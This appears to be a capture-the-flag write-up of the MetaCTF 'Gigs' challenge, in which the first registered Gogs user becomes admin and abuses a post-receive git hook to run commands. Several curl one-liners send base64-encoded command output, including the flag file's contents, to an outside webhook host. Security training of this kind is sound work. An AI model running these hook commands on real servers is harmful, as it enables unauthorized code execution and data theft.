Skip to main content
Background Image

Gigs UNINTENDED(?) Solve - MetaCTF Flash (December 2025)

·498 words·3 mins
Brady McLaughlin
Author
Brady McLaughlin

This is a write-up of the solve path I used for the December 2025 MetaCTF Flash challenge “Gigs.” This challenge was initially released at 350 points, but was downgraded to 300 points before the close of the scoreboard. I placed 53rd of 447 scoring competitors. The challenge was intended to be solved by exploiting CVE-2025-8110, but the attack path I discovered was far simpler to execute.


User Registration
#

On running the container, we get access to the Gogs homepage on the web root. From here, we are able to register a user.

After registering with a secure login (I used “username:password”), we now have access to a valid user.

However, I noticed immediately that my newly created user was automatically given administrative access:

NOTE: This is NOT a walkthrough step, but when I created a second user, this user is NOT an admin. It seems like the first user created becomes an admin automatically, but this is not the case for all users. The MetaCTF team could mitigate this in future challenges by having the container spawn with a pre-seeded admin user to prevent new users from automatically becoming admin users.

Git Hook Weaponization
#

The following isn’t a vulnerability, just an access control issue, as admin users would be expected to be able to modify git hooks and run commands. After user registration, we can create a new repo (“new_repo” in this demonstration) and edit the repo settings to access git hooks. In this case, we can modify the “post-receive” git hook, which will run after an arbitrary git push.

For initial weaponization, I’ll confirm remote code execution (RCE) by making a curl request to a webhook (for example, you could also use a site that you control, but this is quick and easy for demonstration), passing the base64-encoded output of a command as the requested asset:

curl https://webhook.site/<webhook ID>/$(id | base64 -w 0)

We can now clone the repo, make and commit a change, and push to master, which will trigger the “post-receive” git hook we weaponized:

We can see that the curl command that we set up hits our webhook:

Decoding the output confirms our RCE, showing that we can run arbitrary OS commands as the “git” user:

Flag Finding
#

I will now update our git hook with a command to find files with “flag” in the filename:

curl https://webhook.site/<webhook ID>/$(find / -name *flag* 2>/dev/null | base64 -w 0)

After another git push, we get another response, this time with our new output:

We can confirm the target file’s permissions with another git hook modification and git push:

curl https://webhook.site/<webhook ID>/$(ls -la /data/gogs/data/flag.txt | base64 -w 0)

We can see that the “git” user owns the file, so we will be able to read the file (this is a safe assumption in a CTF, but may not be the case if trying to use this method in real engagements):

curl https://webhook.site/<webhook ID>/$(cat /data/gogs/data/flag.txt | base64 -w 0)

Thanks to MetaCTF for this challenge!